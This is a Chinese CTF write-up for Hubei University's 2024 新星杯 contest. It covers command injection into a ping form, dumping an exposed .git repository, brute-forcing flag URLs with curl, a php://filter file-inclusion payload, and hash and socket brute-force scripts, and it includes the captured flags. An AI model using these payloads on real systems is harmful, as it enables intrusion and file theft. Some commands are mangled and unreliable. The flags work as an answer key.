2024湖北大学新星杯实践能力赛 - CTFlai - Obsidian v1

2024湖北大学新星杯实践能力赛

ez-http

RCE - Level 2

先访问./static/script.js

Ping Results for 127.0.0.1:

执行成功

Ping Results for 127.0.0.1;ls / >>static/script.js:

执行成功

## Ping Results for 127.0.0.1;cat /f1ag_1s_h3r3 >>static/script.js:

执行成功

Robots Leak

先/robots.txt

User-agent: * Disallow: /.git

git-dumper http://challenge.hubuctf.cn:32139/ dir cd dir

git log

发现

git show c021185ef2d2a5b6a3dcd39d43f184e5fe893c09

git stash list

stash@{0}: On master: Test ^_^ stash@{1}: On master: Hide flag part 2 stash@{1} 存在 flag

git stash pop --index 1

{682e09e6-eb9d-4ad4-8c9a-fc11f7f5b31e}

#HUBUCTF

Random_Door

使用curl进行爆破

for i in {1 .100};do echo $i;curl -ks

http: /challenge.hubuctf.cn:30283/flag$i.php | grep -i file;done

file? 你能想到什么?file 需要传递

Trying flag24.php... Trying flag25.php...

<span style="color: #0000BB">&lt;?php<br /><br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span>

<span style="color: #007700">);<br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />if&nbsp; (</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/base64|http/'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$_GET</span>

<span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">]))&nbsp;{<br

/>&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">'base64&nbsp;|&nbsp;http&nbsp;is&nbsp;not&nbsp;allowed'</span><span style="color: #007700">);<br />}&nbsp;else&nbsp;{<br

/>&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"flag&nbsp;in&nbsp;flag.php"</span><span style="color: #007700">;<br

/>}<br /><br />include&nbsp;</span><span style="color: #0000BB">$_GET</span>

<span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">?&gt;</span>

curl -ks "http://challenge.hubuctf.cn:30283/flag23.php?file=php://filter/convert.base64- encode/resource=flag.php"

file? 你能想到什么?

PD9waHAgJGZsYWc9ICJIVUJVQ1RGe2I3ZjI3N2VlLWFmZGQtNGZjOC1iMzFhLTFlMDlhMDZ

kMjlhMX0iIDs/Pgo=

{b7f277ee-afdd-4fc8-b31a-1e09a06d29a1}

#HUBUCTF

行测-类比推理

先随便答题

爆破答案脚本

import hashlib

import itertools

# 给定的正确哈希值

correct_hash = '0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023'

# 题目的选项

choices = ['A', 'B', 'C', 'D']

# 计算给定字符串的 SHA-256 哈希值

def get_sha256_hash(input_string):

return hashlib.sha256(input_string.encode()).hexdigest()

# 通过遍历所有可能的答案组合来查找正确答案

def find_correct_answers():

# 假设答案有12道题,每道题的答案可以是A, B, C, D中的一个

for answer_combination in itertools.product(choices, repeat=12): # 拼接答案字符串

answer_string = ''.join(answer_combination)

# 计算哈希值

calculated_hash = get_sha256_hash(answer_string)

# 比较哈希值

if calculated_hash == correct_hash: return answer_combination

return None

# 获取正确的答案组合

correct_answers = find_correct_answers()

# 打印结果

if correct_answers:

print("找到正确的答案组合!")

for i, answer in enumerate(correct_answers, start=1): print(f"问题 {i}: {answer}")

else:

print("没有找到匹配的答案组合。")

找到正确的答案组合!问题 1: D

问题 2: B

问题 3: C

问题 4: D

问题 5: D

问题 6: C

问题 7: C

问题 8: A

问题 9: A

问题 10: D

问题 11: C

问题 12: B

{ec2374fe-7a10-492d-8157-b68add8fae3f}

#HUBUCTF

SpeedMath_revenge

爆破脚本

import math import socket

def solve_problem(a, b):

# 计算平方根并乘以第二个数字 result = math.sqrt(a) * b # 返回四舍五入后的整数结果 return round(result)

def main():

server_ip = 'challenge.hubuctf.cn' server_port = 30994

# 建立连接

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: try:

s.connect((server_ip, server_port)) print(f"Connected to {server_ip}:{server_port}")

while True:

# 接收并打印服务器的提示信息

prompt = s.recv(1024).decode()

print("Received prompt:", prompt) # 打印收到的内容

# 检查是否还有问题(如果没有问题,服务器可能会发送结束信息)

if 'Calculate the square root of' not in prompt: print("No more questions or challenge ended.") break # 跳出循环

try:

# 从提示信息中提取出 a 和 b 的值

parts = prompt.split()

a = int(parts[5]) # 第六个部分是数字

b = int(parts[9]) # 第十个部分是数字

print(f"Extracted values: a={a}, b={b}")

# 计算结果

answer = solve_problem(a, b) print(f"Calculated answer: {answer}")

# 发送答案给服务器

s.sendall(f"{answer}\n".encode()) print(f"Sent answer: {answer}")

# 接收并打印服务器的响应

response = s.recv(1024).decode() print("Received response:", response)

except Exception as e:

print(f"Error processing question: {e}") continue # 如果有错误,跳到下一次迭代,避免程序崩溃

except socket.error as e:

print(f"Error connecting to server: {e}")

if __name__ == '__main__':

main()

{de817df2-2c02-4c9d-8690-c8ab84e67be7}

#HUBUCTF

posted @ 2024-12-09 13:31  weikelai  阅读(90)  评论(0)    收藏  举报